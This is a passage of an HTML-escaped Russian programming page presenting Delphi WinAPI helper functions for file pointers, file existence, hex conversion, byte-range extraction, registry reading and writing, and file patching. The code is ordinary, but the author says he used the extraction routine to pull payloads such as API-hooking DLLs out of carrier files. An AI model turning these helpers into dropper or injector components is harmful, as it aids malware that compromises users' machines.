/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov result, edi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{Записываем результат функции} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xor edi, edi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{Обнуляем edi} &lt;br /&gt;&lt;br /&gt; @@_E: &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nop&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{Ничего не делаем. Выходим из функции} &lt;br /&gt;&lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; 3. GetFilePointer(hFile: Cardinal): integer; &lt;br /&gt;&lt;br /&gt; Функция для получения текущей позиции в файле. Аналог какой-то большой компонентной функции. &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function GetFilePointer(hFile: Cardinal&amp;#41;: integer; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=SetFilePointer(hFile, 0, nil, FILE_CURRENT&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; 4. FileEx(FileName: string): Boolean; &lt;br /&gt;&lt;br /&gt; Функция для проверки наличия файла. Аналог FileExists. &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function FileEx(FileName: string&amp;#41;: Boolean; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;H: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FD: TWin32FindData; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;H:=FindFirstFile(PChar(FileName&amp;#41;, FD&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if H&lt;&gt;INVALID_HANDLE_VALUE then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=true &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=false; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; 5. StrToHex(Str: string): string; &lt;br /&gt;&lt;br /&gt; Функция конвертирует сроку в HEX значения. &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function StrToHex(Str: string&amp;#41;: string; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i, ls: integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s: string; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ls:=(Length(Str&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for i:=1 to (ls&amp;#41; do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s:=s+(inttohex(ord(Str&amp;#91;i]&amp;#41;, 2&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=s &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; 6. ExtractByte(FName: string; fbegin, fend, byteread: integer; Exfile: string): integer; &lt;br /&gt;&lt;br /&gt; Функция извлекает опеределённое количество байтов из файла и записывает куда-нибудь. После её написания очень часто её использовал для извлечения полезноя нагрузки из файла носителя. Например dll библиотеку с функциями перехвата API и т.д. Полезная вобщем... &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function ExtractByte(FName: string; fbegin, fend, byteread: integer; Exfile: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;string&amp;#41;: integer; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;F1, F2: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ofs: _OfStruct; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RD, WR: Cardinal; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FBuff: array&amp;#91;1..1024] of byte; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;F2:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;F1:=OpenFile(PChar(FName&amp;#41;, OFS, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if F1&lt;&gt;INVALID_HANDLE_VALUE then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;F2:=CreateFile(PChar(Exfile&amp;#41;, GENERIC_WRITE, FILE_SHARE_WRITE, nil, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;OPEN_ALWAYS, 0, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if F2&lt;&gt;INVALID_HANDLE_VALUE then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetFilePointer(F1, fbegin, nil, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;repeat &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ReadFile(F1, FBuff, byteread, RD, nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WriteFile(F2, FBuff, RD, WR, nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;until (RD=0&amp;#41;or(GetFilePointer(F1&amp;#41;&gt;=fend&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(F1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(F2&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; Пример использования: ExtractByte(&apos;1.exe&apos;, $0002F530, $005C9FF, 1024, &apos;2.exe&apos;); 1-й параметр это файл из которого нужно извлекать. 2-й парам. это адрес начало считавания. 0 - для начала файла. 3-й адрес конца считавания. 4-й по скольку байт считывать из файла. 5-й куда записать. В итоге функция скопирует все что находится между $0002F530 и $005C9FF адресом. &lt;br /&gt;&lt;br /&gt; 7. GetRegValue(RKey: HKey; Key, N: PChar; var Res: string): integer; &lt;br /&gt;&lt;br /&gt; Функция для получения значение ключа реестра. Аналог функции из компонента Registry. &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function GetRegValue(RKey: HKey; Key, N: PChar; var Res: string&amp;#41;: integer; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HK: HKey; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DT, DS: DWORD; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if RegOpenKeyEx(RKey, Key, 0, $0001, HK&amp;#41;&lt;&gt;0 then exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (RegQueryValueEx(HK, N, nil, @DT, nil, @DS&amp;#41;&lt;&gt;0&amp;#41;or(DT&lt;&gt;1&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RegCloseKey(HK&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetString(RES, nil, (DS-1&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RegQueryValueEx(HK, N, nil, @DT, (PByte(@RES&amp;#91;1]&amp;#41;&amp;#41;, @DS&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RegCloseKey(HK&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=(length(RES&amp;#41;&amp;#41;; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; 8. RegAdd(Root: HKEY; KeyPath: PChar; Key_Type: cardinal; KeyName, Value: PChar): boolean; &lt;br /&gt;&lt;br /&gt; Функция для добавления кл. реестра. Аналог функция из кмп. Registry &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function RegAdd(Root: HKEY; KeyPath: PChar; Key_Type: cardinal; KeyName, Value: PChar&amp;#41;: boolean; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Key: HKEY; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RegAdd:=false; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if RegOpenKeyEx(Root, KeyPath, 0, $0004 or $0002, Key&amp;#41;=0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if RegSetValueEx(Key, KeyName, 0, Key_Type, Value, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lstrlen(PChar(Value&amp;#41;&amp;#41;+Length(Value&amp;#41;&amp;#41;&gt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result:=true; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RegCloseKey(Key&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; Пример использования: RegAdd(HKEY_LOCAL_MACHINE, &apos;Путь до ключа&apos;, REG_SZ, &apos;Имя ключа&apos;, &apos;Его значение&apos;) вернёт true если всё хорошо. &lt;br /&gt;&lt;br /&gt; 9. Patch_Byte(FN: string; B: array of integer; T: array of char); &lt;br /&gt;&lt;br /&gt; Кривая функция для патчинга файлов. &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure Patch_Byte(FN: string; B: array of integer; T: array of char&amp;#41;; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c: byte; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;F: THandle; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i, bl: integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BytesRead: DWORD; &lt;br /&gt; begin &lt;br 